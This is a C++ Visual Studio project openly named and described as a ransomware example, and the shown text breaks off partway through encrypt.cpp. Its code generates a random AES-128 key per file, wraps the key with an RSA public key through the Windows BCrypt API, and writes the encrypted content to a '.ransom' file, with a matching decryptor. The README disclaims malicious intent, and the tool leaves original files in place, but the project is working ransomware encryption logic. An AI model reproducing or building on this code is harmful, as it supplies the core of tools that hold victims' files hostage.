├── .gitattributes
├── includes.hpp
├── encrypt.hpp
├── LICENSE
├── Ransomware.vcxproj.filters
├── Ransomware.sln
├── README.md
├── main.cpp
├── Ransomware.vcxproj
├── .gitignore
└── encrypt.cpp


/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 | 


--------------------------------------------------------------------------------
/includes.hpp:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | 
 3 | #include <windows.h>
 4 | #include <Shlwapi.h>
 5 | #include <cstdio>
 6 | #include <bcrypt.h>
 7 | 
 8 | #pragma comment( lib, "Bcrypt" )
 9 | #pragma comment( lib, "Crypt32" )
10 | #pragma comment( lib, "Shlwapi" )
11 | 
12 | #define RSA_PUBLIC_KEY_FILENAME			"public.pem"
13 | #define RSA_PRIVATE_KEY_FILENAME		"private.pem"
14 | 
15 | #include "encrypt.hpp"


--------------------------------------------------------------------------------
/encrypt.hpp:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | 
 3 | extern BOOL ReadFileToByteArray( const char* szFileName, PBYTE* lpBuffer, PDWORD dwDataLen );
 4 | 
 5 | extern BOOL BCryptImportPrivateKey( BCRYPT_ALG_HANDLE hProvider, PBYTE lpData, ULONG dwDataLen, BCRYPT_KEY_HANDLE* hKey );
 6 | extern BOOL BCryptImportPublicKey( BCRYPT_ALG_HANDLE hProvider, PBYTE lpData, ULONG dwDataLen, BCRYPT_KEY_HANDLE* hKey );
 7 | 
 8 | extern BOOL RSADecrypt( PBYTE pbInputData, DWORD dwInputDataSize, PBYTE* lpDecryptedBuffer, PDWORD dwDecryptedBufferLen );
 9 | extern BOOL RSAEncrypt( PBYTE pbInputData, DWORD dwInputDataSize, PBYTE* lpEncryptedBuffer, PDWORD dwEncryptedBufferLen );
10 | 
11 | extern BOOL AESEncrypt( PBYTE pbInputData, DWORD dwInputDataSize, PBYTE pbKey, DWORD dwKeyLen, PBYTE pbIV, DWORD dwIVLen, PBYTE* lpEncryptedBuffer, PDWORD dwEncryptedBufferLen );
12 | extern BOOL AESDecrypt( PBYTE pbInputData, DWORD dwInputDataSize, PBYTE pbKey, DWORD dwKeyLen, PBYTE pbIV, DWORD dwIVLen, PBYTE* lpDecryptedBuffer, PDWORD dwDecryptedBufferLen );


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
 1 | MIT License
 2 | 
 3 | Copyright (c) 2023 Ricardo Carvalho
 4 | 
 5 | Permission is hereby granted, free of charge, to any person obtaining a copy
 6 | of this software and associated documentation files (the "Software"), to deal
 7 | in the Software without restriction, including without limitation the rights
 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 | 
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 | 
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 | 


--------------------------------------------------------------------------------
/Ransomware.vcxproj.filters:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="utf-8"?>
 2 | <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
 3 |   <ItemGroup>
 4 |     <Filter Include="Source Files">
 5 |       <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
 6 |       <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
 7 |     </Filter>
 8 |     <Filter Include="Header Files">
 9 |       <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
10 |       <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
11 |     </Filter>
12 |     <Filter Include="Resource Files">
13 |       <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
14 |       <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
15 |     </Filter>
16 |   </ItemGroup>
17 |   <ItemGroup>
18 |     <ClCompile Include="main.cpp">
19 |       <Filter>Source Files</Filter>
20 |     </ClCompile>
21 |     <ClCompile Include="encrypt.cpp">
22 |       <Filter>Source Files</Filter>
23 |     </ClCompile>
24 |   </ItemGroup>
25 |   <ItemGroup>
26 |     <ClInclude Include="encrypt.hpp">
27 |       <Filter>Header Files</Filter>
28 |     </ClInclude>
29 |     <ClInclude Include="includes.hpp">
30 |       <Filter>Header Files</Filter>
31 |     </ClInclude>
32 |   </ItemGroup>
33 | </Project>


--------------------------------------------------------------------------------
/Ransomware.sln:
--------------------------------------------------------------------------------
 1 | 
 2 | Microsoft Visual Studio Solution File, Format Version 12.00
 3 | # Visual Studio Version 16
 4 | VisualStudioVersion = 16.0.32802.440
 5 | MinimumVisualStudioVersion = 10.0.40219.1
 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Ransomware", "Ransomware.vcxproj", "{930E0ED8-C9E1-42B5-B211-2E73D3E08CF6}"
 7 | EndProject
 8 | Global
 9 | 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | 		Debug|x64 = Debug|x64
11 | 		Debug|x86 = Debug|x86
12 | 		Release|x64 = Release|x64
13 | 		Release|x86 = Release|x86
14 | 	EndGlobalSection
15 | 	GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | 		{930E0ED8-C9E1-42B5-B211-2E73D3E08CF6}.Debug|x64.ActiveCfg = Debug|x64
17 | 		{930E0ED8-C9E1-42B5-B211-2E73D3E08CF6}.Debug|x64.Build.0 = Debug|x64
18 | 		{930E0ED8-C9E1-42B5-B211-2E73D3E08CF6}.Debug|x86.ActiveCfg = Debug|Win32
19 | 		{930E0ED8-C9E1-42B5-B211-2E73D3E08CF6}.Debug|x86.Build.0 = Debug|Win32
20 | 		{930E0ED8-C9E1-42B5-B211-2E73D3E08CF6}.Release|x64.ActiveCfg = Release|x64
21 | 		{930E0ED8-C9E1-42B5-B211-2E73D3E08CF6}.Release|x64.Build.0 = Release|x64
22 | 		{930E0ED8-C9E1-42B5-B211-2E73D3E08CF6}.Release|x86.ActiveCfg = Release|Win32
23 | 		{930E0ED8-C9E1-42B5-B211-2E73D3E08CF6}.Release|x86.Build.0 = Release|Win32
24 | 	EndGlobalSection
25 | 	GlobalSection(SolutionProperties) = preSolution
26 | 		HideSolutionNode = FALSE
27 | 	EndGlobalSection
28 | 	GlobalSection(ExtensibilityGlobals) = postSolution
29 | 		SolutionGuid = {EECE2E5E-96AE-426B-AAF0-583C8D993384}
30 | 	EndGlobalSection
31 | EndGlobal
32 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | 
 2 | # cpp-ransomware
 3 |  C\C++ Ransomware example using RSA and AES-128 with BCrypt library on Windows
 4 | 
 5 | <h1>Usage</h1>
 6 | 
 7 | ```
 8 | Ransomware.exe -e [Filename]          Encrypts a file, output will be <Filename>.ransom
 9 | Ransomware.exe -d [Filename.ransom]   Decrypts a file, output will be <Filename>.clean
10 | ```
11 | 
12 | <h2>Functionality</h2>
13 | 
14 | **Encryption:**
15 | 
16 |  - Read all input file content to a buffer
17 |  - using BCrypt APIs
18 |  - Generate IV and AES-128 key
19 |  - Encrypt AES key with RSA public key 
20 |  - Encrypt file content with AES-128
21 |  - Create a file with original filename but with .ransom extension
22 |  - Store IV and encrypted AES key on the output file
23 | 
24 | **Decryption:**
25 | 
26 |  - Read all input file content to a buffer
27 |  - Extract IV, encrypted AES key and encrypted file data
28 |  - Decrypt AES key
29 |  - Decrypt file data with IV and AES Key
30 |  - Create a file with original filename but with .clean extension
31 | 
32 | <h2>Tutorial</h2>
33 | 
34 | Using OpenSSL generate a RSA keypair, the application expects `private.pem` and `public.pem` to be placed at the root directory.
35 | 
36 | ```
37 | cd approot
38 | openssl genrsa -out private.pem
39 | openssl rsa -in private.pem -pubout -out public.pem
40 | openssl pkey -in private.pem -out private.pem
41 | ```
42 | 
43 | <h2>Reminders</h2>
44 | 
45 | This source code wasn't created to be used as a malware but simply as a mere example, ence why it's functionalities are not really as how a real ransomware works.
46 | 


--------------------------------------------------------------------------------
/main.cpp:
--------------------------------------------------------------------------------
  1 | #include "includes.hpp"
  2 | 
  3 | BOOL DeRansomFile( const char* szFileName )
  4 | {
  5 | 	BOOL bResult = FALSE;
  6 | 
  7 | 	PBYTE pbCiphertextFileData = nullptr;
  8 | 	DWORD dwCiphertextFileDataLen = 0;
  9 | 
 10 | 	PBYTE pbDecryptedFileData = nullptr;
 11 | 	DWORD dwDecryptedFileDataLen = 0;
 12 | 
 13 | 	PBYTE pbDecryptedAESKey = nullptr;
 14 | 	DWORD pbDecryptedAESKeyLen = 0;
 15 | 
 16 | 	BYTE pbCiphertextKeyData[ 0x100 ]{ };
 17 | 	DWORD dwCiphertextKeyData = sizeof( pbCiphertextKeyData );
 18 | 
 19 | 	BYTE pbKey[ 16 ]{ };
 20 | 	DWORD dwKeyLen = sizeof( pbKey );
 21 | 
 22 | 	BYTE pbIV[ 16 ]{ };
 23 | 	DWORD dwIVLen = sizeof( pbIV );
 24 | 
 25 | 	HANDLE hFile = nullptr;
 26 | 
 27 | 	//
 28 | 	// Read file from disk
 29 | 	//
 30 | 	bResult = ReadFileToByteArray( szFileName, &pbCiphertextFileData, &dwCiphertextFileDataLen );
 31 | 	if( !bResult )
 32 | 	{
 33 | 		printf( __FUNCTION__ " -- ReadFileToByteArray failed!\n" );
 34 | 		goto Exit;
 35 | 	}
 36 | 
 37 | 	{
 38 | 		//
 39 | 		// The RSA ciphertext containing our AES key is file begging + IV length
 40 | 		//
 41 | 		memcpy( pbCiphertextKeyData, pbCiphertextFileData + dwIVLen, dwCiphertextKeyData );
 42 | 
 43 | 		bResult = RSADecrypt( pbCiphertextKeyData, dwCiphertextKeyData, &pbDecryptedAESKey, &pbDecryptedAESKeyLen );
 44 | 		if( !bResult )
 45 | 		{
 46 | 			printf( __FUNCTION__ " -- RSADecrypt failed!\n" );
 47 | 			goto Exit;
 48 | 		}
 49 | 
 50 | 		//
 51 | 		// The decrypted length should match the AES-128 blocksize 16 bytes
 52 | 		//
 53 | 		if( pbDecryptedAESKeyLen != dwKeyLen )
 54 | 		{
 55 | 			printf( __FUNCTION__ " -- Invalid AES key!\n" );
 56 | 			goto Exit;
 57 | 		}
 58 | 
 59 | 		//
 60 | 		// The IV is the file first 16 bytes, we extract that
 61 | 		//
 62 | 		memcpy( pbIV, pbCiphertextFileData, dwIVLen );
 63 | 
 64 | 		//
 65 | 		// We have the decrypted AES key, lets copy to the pbKey buffer.
 66 | 		//
 67 | 		memcpy( pbKey, pbDecryptedAESKey, dwKeyLen );
 68 | 
 69 | 		//
 70 | 		// dwTotalCount is the sum of IV Len + RSA cipher key length, leading to the block with the actual file data encrypted.
 71 | 		//
 72 | 		const DWORD dwTotalCount = dwIVLen + dwCiphertextKeyData;
 73 | 
 74 | 		bResult = AESDecrypt(
 75 | 			pbCiphertextFileData + dwTotalCount,
 76 | 			dwCiphertextFileDataLen - dwTotalCount,
 77 | 			pbKey,
 78 | 			dwKeyLen,
 79 | 			pbIV,
 80 | 			dwIVLen,
 81 | 			&pbDecryptedFileData,
 82 | 			&dwDecryptedFileDataLen
 83 | 		);
 84 | 		if( !bResult )
 85 | 		{
 86 | 			printf( __FUNCTION__ " -- AESDecrypt failed!\n" );
 87 | 			goto Exit;
 88 | 		}
 89 | 
 90 | 		//
 91 | 		// Create a .clean file with the decrypted data
 92 | 		//
 93 | 		char szNewPath[ MAX_PATH ]{ };
 94 | 		strcpy_s( szNewPath, szFileName );
 95 | 		::PathRemoveExtensionA( szNewPath );
 96 | 		strcat_s( szNewPath, ".clean" );
 97 | 
 98 | 		hFile = ::CreateFileA(
 99 | 			szNewPath,
100 | 			GENERIC_READ | GENERIC_WRITE,
101 | 			FILE_SHARE_READ | FILE_SHARE_WRITE,
102 | 			nullptr,
103 | 			CREATE_ALWAYS,
104 | 			FILE_ATTRIBUTE_NORMAL,
105 | 			nullptr
106 | 		);
107 | 		if( !hFile || hFile == INVALID_HANDLE_VALUE )
108 | 		{
109 | 			bResult = FALSE;
110 | 			printf( __FUNCTION__ " -- CreateFileA failed %d\n", ::GetLastError( ) );
111 | 			goto Exit;
112 | 		}
113 | 
114 | 		DWORD dwWritten = 0;
115 | 		::WriteFile( hFile, pbDecryptedFileData, dwDecryptedFileDataLen, &dwWritten, nullptr );
116 | 	}
117 | 
118 | Exit:
119 | 	if( hFile )
120 | 		::CloseHandle( hFile );
121 | 
122 | 	if( pbDecryptedAESKey )
123 | 		::HeapFree( ::GetProcessHeap( ), 0, pbDecryptedAESKey );
124 | 
125 | 	if( pbCiphertextFileData )
126 | 		::VirtualFree( pbCiphertextFileData, 0, MEM_RELEASE );
127 | 
128 | 	if( pbDecryptedFileData )
129 | 		::VirtualFree( pbDecryptedFileData, 0, MEM_RELEASE );
130 | 
131 | 	return bResult;
132 | }
133 | 
134 | BOOL RansomFile( const char* szFileName )
135 | {
136 | 	BOOL bResult = FALSE;
137 | 
138 | 	PBYTE pbEncryptedAESKey = nullptr;
139 | 	DWORD dwEncryptedAESKeyLen = 0;
140 | 
141 | 	PBYTE pbPlaintextFileData = nullptr;
142 | 	DWORD dwPlaintextFileDataLen = 0;
143 | 
144 | 	PBYTE pbEncryptedFileData = nullptr;
145 | 	DWORD dwEncryptedFileDataLen = 0;
146 | 
147 | 	BYTE pbKey[ 16 ]{ };
148 | 	DWORD dwKeyLen = sizeof( pbKey );
149 | 
150 | 	BYTE pbIV[ 16 ]{ };
151 | 	DWORD dwIVLen = sizeof( pbIV );
152 | 
153 | 	HANDLE hFile = nullptr;
154 | 
155 | 	//
156 | 	// Read file from disk
157 | 	//
158 | 	bResult = ReadFileToByteArray( szFileName, &pbPlaintextFileData, &dwPlaintextFileDataLen );
159 | 	if( !bResult )
160 | 	{
161 | 		printf( __FUNCTION__ " -- ReadFileToByteArray failed!\n" );
162 | 		goto Exit;
163 | 	}
164 | 
165 | 	//
166 | 	// Generate crypto random IV and AES key
167 | 	//
168 | 	::BCryptGenRandom( NULL, pbKey, dwKeyLen, BCRYPT_USE_SYSTEM_PREFERRED_RNG );
169 | 	::BCryptGenRandom( NULL, pbIV, dwIVLen, BCRYPT_USE_SYSTEM_PREFERRED_RNG );
170 | 
171 | 	{
172 | 		//
173 | 		// Encrypt the AES key first.
174 | 		//
175 | 		bResult = RSAEncrypt(
176 | 			pbKey,
177 | 			dwKeyLen,
178 | 			&pbEncryptedAESKey,
179 | 			&dwEncryptedAESKeyLen
180 | 		);
181 | 		if( !bResult )
182 | 		{
183 | 			printf( __FUNCTION__ " -- RSAEncrypt failed!\n" );
184 | 			goto Exit;
185 | 		}
186 | 
187 | 		//
188 | 		// Encrypt the actual file
189 | 		//
190 | 		bResult = AESEncrypt(
191 | 			pbPlaintextFileData,
192 | 			dwPlaintextFileDataLen,
193 | 			pbKey,
194 | 			dwKeyLen,
195 | 			pbIV,
196 | 			dwIVLen,
197 | 			&pbEncryptedFileData,
198 | 			&dwEncryptedFileDataLen
199 | 		);
200 | 		if( !bResult )
201 | 		{
202 | 			printf( __FUNCTION__ " -- AESEncrypt failed!\n" );
203 | 			goto Exit;
204 | 		}
205 | 
206 | 		//
207 | 		// Create the .ransom file
208 | 		//
209 | 		char szNewPath[ MAX_PATH ]{ };
210 | 		strcpy_s( szNewPath, szFileName );
211 | 		::PathRemoveExtensionA( szNewPath );
212 | 		strcat_s( szNewPath, ".ransom" );
213 | 
214 | 		hFile = ::CreateFileA(
215 | 			szNewPath,
216 | 			GENERIC_READ | GENERIC_WRITE,
217 | 			FILE_SHARE_READ | FILE_SHARE_WRITE,
218 | 			nullptr,
219 | 			CREATE_ALWAYS,
220 | 			FILE_ATTRIBUTE_NORMAL,
221 | 			nullptr
222 | 		);
223 | 		if( !hFile || hFile == INVALID_HANDLE_VALUE )
224 | 		{
225 | 			bResult = FALSE;
226 | 			printf( __FUNCTION__ " -- CreateFileA failed %d\n", ::GetLastError( ) );
227 | 			goto Exit;
228 | 		}
229 | 
230 | 		//
231 | 		// Encrypted file format order:
232 | 		// IV -> AES RSA Encrypted Key -> AES Encrypted File Data
233 | 		//
234 | 		DWORD dwWritten = 0;
235 | 		::WriteFile( hFile, pbIV, dwIVLen, &dwWritten, nullptr );
236 | 		::WriteFile( hFile, pbEncryptedAESKey, dwEncryptedAESKeyLen, &dwWritten, nullptr );
237 | 		::WriteFile( hFile, pbEncryptedFileData, dwEncryptedFileDataLen, &dwWritten, nullptr );
238 | 	}
239 | 
240 | Exit:
241 | 	if( hFile )
242 | 		::CloseHandle( hFile );
243 | 
244 | 	if( pbEncryptedAESKey )
245 | 		::HeapFree( ::GetProcessHeap( ), 0, pbEncryptedAESKey );
246 | 
247 | 	if( pbPlaintextFileData )
248 | 		::VirtualFree( pbPlaintextFileData, 0, MEM_RELEASE );
249 | 
250 | 	if( pbEncryptedFileData )
251 | 		::VirtualFree( pbEncryptedFileData, 0, MEM_RELEASE );
252 | 
253 | 	return bResult;
254 | }
255 | 
256 | int main( int argc, char** argv )
257 | {
258 | 	if( ( argc > 1 ) &&
259 | 		( ( *argv[ 1 ] == '-' ) || ( *argv[ 1 ] == '/' ) ) )
260 | 	{
261 | 		if( _stricmp( "e", argv[ 1 ] + 1 ) == 0 )
262 | 		{
263 | 			printf( "RansomFile returned %d\n", RansomFile( argv[ 2 ] ) );
264 | 		}
265 | 		else if( _stricmp( "d", argv[ 1 ] + 1 ) == 0 )
266 | 		{
267 | 			printf( "DeRansomFile returned %d\n", DeRansomFile( argv[ 2 ] ) );
268 | 		}
269 | 		else
270 | 		{
271 | 			goto Dispatch;
272 | 		}
273 | 		exit( 0 );
274 | 	}
275 | 
276 | Dispatch:
277 | 	printf( "Ransomware.exe -e [filepath]\tEncrypts a file.\n" );
278 | 	printf( "Ransomware.exe -d [filepath]\tDecrypts a file.\n" );
279 | 
280 | 	return 0;
281 | }


--------------------------------------------------------------------------------
/Ransomware.vcxproj:
--------------------------------------------------------------------------------
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101 |       <IntrinsicFunctions>true</IntrinsicFunctions>
102 |       <SDLCheck>true</SDLCheck>
103 |       <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
104 |       <ConformanceMode>true</ConformanceMode>
105 |     </ClCompile>
106 |     <Link>
107 |       <SubSystem>Console</SubSystem>
108 |       <EnableCOMDATFolding>true</EnableCOMDATFolding>
109 |       <OptimizeReferences>true</OptimizeReferences>
110 |       <GenerateDebugInformation>true</GenerateDebugInformation>
111 |     </Link>
112 |   </ItemDefinitionGroup>
113 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
114 |     <ClCompile>
115 |       <WarningLevel>Level3</WarningLevel>
116 |       <SDLCheck>true</SDLCheck>
117 |       <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
118 |       <ConformanceMode>true</ConformanceMode>
119 |     </ClCompile>
120 |     <Link>
121 |       <SubSystem>Console</SubSystem>
122 |       <GenerateDebugInformation>true</GenerateDebugInformation>
123 |     </Link>
124 |   </ItemDefinitionGroup>
125 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
126 |     <ClCompile>
127 |       <WarningLevel>Level3</WarningLevel>
128 |       <FunctionLevelLinking>true</FunctionLevelLinking>
129 |       <IntrinsicFunctions>true</IntrinsicFunctions>
130 |       <SDLCheck>true</SDLCheck>
131 |       <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
132 |       <ConformanceMode>true</ConformanceMode>
133 |     </ClCompile>
134 |     <Link>
135 |       <SubSystem>Console</SubSystem>
136 |       <EnableCOMDATFolding>true</EnableCOMDATFolding>
137 |       <OptimizeReferences>true</OptimizeReferences>
138 |       <GenerateDebugInformation>true</GenerateDebugInformation>
139 |     </Link>
140 |   </ItemDefinitionGroup>
141 |   <ItemGroup>
142 |     <ClCompile Include="encrypt.cpp" />
143 |     <ClCompile Include="main.cpp" />
144 |   </ItemGroup>
145 |   <ItemGroup>
146 |     <ClInclude Include="encrypt.hpp" />
147 |     <ClInclude Include="includes.hpp" />
148 |   </ItemGroup>
149 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
150 |   <ImportGroup Label="ExtensionTargets">
151 |   </ImportGroup>
152 | </Project>


--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
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204 | #!**/[Pp]ackages/repositories.config
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206 | *.nuget.props
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242 | 
243 | # Including strong name files can present a security risk
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245 | #*.snk
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249 | #bower_components/
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282 | *.GhostDoc.xml
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289 | *.plg
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295 | *.vbw
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298 | *.vbp
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306 | *.aps
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313 | **/*.Server/ModelManifest.xml
314 | _Pvt_Extensions
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317 | .paket/paket.exe
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385 | *.code-workspace
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388 | .history/
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391 | *.cab
392 | *.msi
393 | *.msix
394 | *.msm
395 | *.msp
396 | 
397 | # JetBrains Rider
398 | *.sln.iml
399 | 


--------------------------------------------------------------------------------
/encrypt.cpp:
--------------------------------------------------------------------------------
  1 | #include "includes.hpp"
  2 | 
  3 | BOOL ReadFileToByteArray( const char* szFileName, PBYTE* lpBuffer, PDWORD dwDataLen )
  4 | {
  5 | 	BOOL bResult = FALSE;
  6 | 
  7 | 	HANDLE hFile = nullptr;
  8 | 
  9 | 	if( !szFileName || !lpBuffer || !dwDataLen )
 10 | 	{
 11 | 		printf( __FUNCTION__ " -- Invalid params!\n" );
 12 | 		goto Exit;
 13 | 	}
 14 | 
 15 | 	hFile = ::CreateFileA( szFileName, GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr );
 16 | 	if( !hFile || hFile == INVALID_HANDLE_VALUE )
 17 | 	{
 18 | 		printf( __FUNCTION__ " -- CreateFileA failed %d\n", ::GetLastError( ) );
 19 | 		goto Exit;
 20 | 	}
 21 | 
 22 | 	*dwDataLen = ::GetFileSize( hFile, nullptr );
 23 | 
 24 | 	//
 25 | 	// VirtualAlloc is ideal to work with files.
 26 | 	//
 27 | 	*lpBuffer = ( PBYTE )::VirtualAlloc( nullptr, *dwDataLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE );
 28 | 
 29 | 	bResult = ( *lpBuffer != nullptr );
 30 | 	if( !bResult )
 31 | 	{
 32 | 		printf( __FUNCTION__ " -- VirtualAlloc failed %d\n", ::GetLastError( ) );
 33 | 		goto Exit;
 34 | 	}
 35 | 
 36 | 	{
 37 | 		DWORD dwRead = NULL;
 38 | 		bResult = ::ReadFile( hFile, *lpBuffer, *dwDataLen, &dwRead, nullptr );
 39 | 		if( !bResult )
 40 | 		{
 41 | 			::VirtualFree( *lpBuffer, 0, MEM_RELEASE );
 42 | 			*lpBuffer = nullptr;
 43 | 
 44 | 			printf( __FUNCTION__ " -- ReadFile failed %d\n", ::GetLastError( ) );
 45 | 		}
 46 | 	}
 47 | 
 48 | Exit:
 49 | 	if( hFile )
 50 | 		::CloseHandle( hFile );
 51 | 
 52 | 	return bResult;
 53 | }
 54 | 
 55 | BOOL BCryptImportPrivateKey( BCRYPT_ALG_HANDLE hProvider, PBYTE lpData, ULONG dwDataLen, BCRYPT_KEY_HANDLE* hKey )
 56 | {
 57 | 	BOOL bResult = FALSE;
 58 | 	NTSTATUS Status = NO_ERROR;
 59 | 
 60 | 	ULONG cb = 0;
 61 | 	PCRYPT_PRIVATE_KEY_INFO PrivateKeyInfo = nullptr;
 62 | 	BCRYPT_RSAKEY_BLOB* prkb = nullptr;
 63 | 
 64 | 	bResult = ::CryptDecodeObjectEx(
 65 | 		X509_ASN_ENCODING | PKCS_7_ASN_ENCODING,
 66 | 		PKCS_PRIVATE_KEY_INFO,
 67 | 		lpData,
 68 | 		dwDataLen,
 69 | 		CRYPT_DECODE_ALLOC_FLAG | CRYPT_DECODE_NOCOPY_FLAG,
 70 | 		0, ( void** )&PrivateKeyInfo, &cb
 71 | 	);
 72 | 
 73 | 	if( !bResult )
 74 | 	{
 75 | 		printf( __FUNCTION__ " -- CryptDecodeObjectEx failed 0x%X\n", ::GetLastError( ) );
 76 | 		goto Exit;
 77 | 	}
 78 | 
 79 | 	bResult = ::CryptDecodeObjectEx(
 80 | 		X509_ASN_ENCODING | PKCS_7_ASN_ENCODING,
 81 | 		CNG_RSA_PRIVATE_KEY_BLOB,
 82 | 		PrivateKeyInfo->PrivateKey.pbData,
 83 | 		PrivateKeyInfo->PrivateKey.cbData,
 84 | 		CRYPT_DECODE_ALLOC_FLAG,
 85 | 		0, ( void** )&prkb, &cb
 86 | 	);
 87 | 
 88 | 	if( !bResult )
 89 | 	{
 90 | 		printf( __FUNCTION__ " -- CryptDecodeObjectEx failed 0x%X\n", ::GetLastError( ) );
 91 | 		goto Exit;
 92 | 	}
 93 | 
 94 | 	Status = ::BCryptImportKeyPair(
 95 | 		hProvider,
 96 | 		NULL,
 97 | 		BCRYPT_RSAPRIVATE_BLOB,
 98 | 		hKey,
 99 | 		( PUCHAR )prkb,
100 | 		cb,
101 | 		0 );
102 | 
103 | 	bResult = ( Status == NO_ERROR );
104 | 	if( !bResult )
105 | 	{
106 | 		printf( __FUNCTION__ " -- BCryptImportKey failed 0x%X\n", Status );
107 | 		goto Exit;
108 | 	}
109 | 
110 | Exit:
111 | 	if( prkb )
112 | 		::LocalFree( prkb );
113 | 
114 | 	if( PrivateKeyInfo )
115 | 		::LocalFree( PrivateKeyInfo );
116 | 
117 | 	return bResult;
118 | }
119 | 
120 | BOOL BCryptImportPublicKey( BCRYPT_ALG_HANDLE hProvider, PBYTE lpData, ULONG dwDataLen, BCRYPT_KEY_HANDLE* hKey )
121 | {
122 | 	BOOL bResult = FALSE;
123 | 	NTSTATUS Status = NO_ERROR;
124 | 
125 | 	union
126 | 	{
127 | 		PVOID pvStructInfo;
128 | 		PCERT_INFO pCertInfo;
129 | 		PCERT_PUBLIC_KEY_INFO PublicKeyInfo;
130 | 	};
131 | 
132 | 	ULONG cb = 0;
133 | 	BCRYPT_RSAKEY_BLOB* prkb = nullptr;
134 | 
135 | 	bResult = ::CryptDecodeObjectEx( X509_ASN_ENCODING | PKCS_7_ASN_ENCODING,
136 | 		X509_PUBLIC_KEY_INFO,
137 | 		lpData,
138 | 		dwDataLen,
139 | 		CRYPT_DECODE_ALLOC_FLAG | CRYPT_DECODE_NOCOPY_FLAG, 0, &pvStructInfo, &cb );
140 | 
141 | 	if( !bResult )
142 | 	{
143 | 		printf( __FUNCTION__ " -- CryptDecodeObjectEx failed 0x%X\n", ::GetLastError( ) );
144 | 		goto Exit;
145 | 	}
146 | 
147 | 	bResult = ::CryptDecodeObjectEx( X509_ASN_ENCODING | PKCS_7_ASN_ENCODING,
148 | 		CNG_RSA_PUBLIC_KEY_BLOB,
149 | 		PublicKeyInfo->PublicKey.pbData,
150 | 		PublicKeyInfo->PublicKey.cbData,
151 | 		CRYPT_DECODE_ALLOC_FLAG, 0, ( void** )&prkb, &cb );
152 | 
153 | 	if( !bResult )
154 | 	{
155 | 		printf( __FUNCTION__ " -- CryptDecodeObjectEx failed 0x%X\n", ::GetLastError( ) );
156 | 		goto Exit;
157 | 	}
158 | 
159 | 	Status = BCryptImportKeyPair(
160 | 		hProvider,
161 | 		NULL,
162 | 		BCRYPT_RSAPUBLIC_BLOB,
163 | 		hKey,
164 | 		( PUCHAR )prkb,
165 | 		cb,
166 | 		0 );
167 | 
168 | 	bResult = ( Status == NO_ERROR );
169 | 	if( !bResult )
170 | 	{
171 | 		printf( __FUNCTION__ " -- BCryptImportKey failed 0x%X\n", Status );
172 | 		goto Exit;
173 | 	}
174 | 
175 | Exit:
176 | 	if( prkb )
177 | 		::LocalFree( prkb );
178 | 
179 | 	if( pvStructInfo )
180 | 		::LocalFree( pvStructInfo );
181 | 
182 | 	return bResult;
183 | }
184 | 
185 | BOOL RSADecrypt( PBYTE pbInputData, DWORD dwInputDataSize, PBYTE* lpDecryptedBuffer, PDWORD dwDecryptedBufferLen )
186 | {
187 | 	NTSTATUS Status = NO_ERROR;
188 | 	BOOL bResult = FALSE;
189 | 
190 | 	if( !pbInputData || dwInputDataSize <= 0 || !lpDecryptedBuffer || !dwDecryptedBufferLen )
191 | 	{
192 | 		printf( __FUNCTION__ " -- Invalid params!\n" );
193 | 		return FALSE;
194 | 	}
195 | 
196 | 	BCRYPT_ALG_HANDLE hProvider = NULL;
197 | 	BCRYPT_KEY_HANDLE hKey = NULL;
198 | 
199 | 	LPBYTE pbKeyBuffer = nullptr;
200 | 	DWORD dwKeyBufferLen = 0;
201 | 
202 | 	BYTE DERPrivKey[ 2048 ]{ };
203 | 	DWORD DERPrivKeyLen = sizeof( DERPrivKey );
204 | 
205 | 	//
206 | 	// Open the RSA crypto provider
207 | 	//
208 | 	Status = ::BCryptOpenAlgorithmProvider(
209 | 		&hProvider,
